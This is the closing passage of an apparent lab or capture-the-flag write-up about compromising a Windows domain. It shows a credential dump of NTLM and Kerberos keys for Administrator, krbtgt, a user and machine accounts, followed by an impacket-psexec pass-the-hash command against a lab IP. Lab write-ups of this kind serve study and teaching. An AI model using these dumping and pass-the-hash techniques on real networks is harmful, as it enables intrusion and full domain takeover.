darkzero-ext$:2602:aad3b435b51404eeaad3b435b51404ee:95e4ba6219aced32642afa4661781d4b:::
[*] Kerberos keys grabbed
Administrator:0x14:2f8efea2896670fa78f4da08a53c1ced59018a89b762cbcf6628bd290039b9cd
Administrator:0x13:a23315d970fe9d556be03ab611730673
Administrator:aes256-cts-hmac-sha1-96:d4aa4a338e44acd57b857fc4d650407ca2f9ac3d6f79c9de59141575ab16cabd
Administrator:aes128-cts-hmac-sha1-96:b1e04b87abab7be2c600fc652ac84362
Administrator:0x17:5917507bdf2ef2c2b0a869a1cba40726
krbtgt:aes256-cts-hmac-sha1-96:6330aee12ac37e9c42bc9af3f1fec55d7755c31d70095ca1927458d216884d41
krbtgt:aes128-cts-hmac-sha1-96:0ffbe626519980a499cb85b30e0b80f3
krbtgt:0x17:64f4771e4c60b8b176c3769300f6f3f7
john.w:0x14:f6d74915f051ef9c1c085d31f02698c04a4c6804d509b7c4442e8593d6d957ea
john.w:0x13:7b145a89aed458eaea530a2bd1eb93bd
john.w:aes256-cts-hmac-sha1-96:49a6d3404e9d19859c0eea1036f6e95debbdea99efea4e2c11ee529add37717e
john.w:aes128-cts-hmac-sha1-96:87d9cbd84d85c50904eba39d588e47db
john.w:0x17:44b1b5623a1446b5831a7b3a4be3977b
DC01$:aes256-cts-hmac-sha1-96:25e1e7b4219c9b414726983f0f50bbf28daa11dd4a24eed82c451c4d763c9941
DC01$:aes128-cts-hmac-sha1-96:9996363bffe713a6777597c876d4f9db
DC01$:0x17:d02e3fe0986e9b5f013dad12b2350b3a
darkzero-ext$:aes256-cts-hmac-sha1-96:eec6ace095e0f3b33a9714c2a23b19924542ba13a3268ea6831410020e1c11f3
darkzero-ext$:aes128-cts-hmac-sha1-96:3efb8a66f0a09fbc6602e46f22e8fc1c
darkzero-ext$:0x17:95e4ba6219aced32642afa4661781d4b
[*] Cleaning up...
impacket-psexec administrator@10.129.124.137 -hashes :5917507bdf2ef2c2b0a869a1cba40726
This post is licensed under CC BY 4.0 by the author.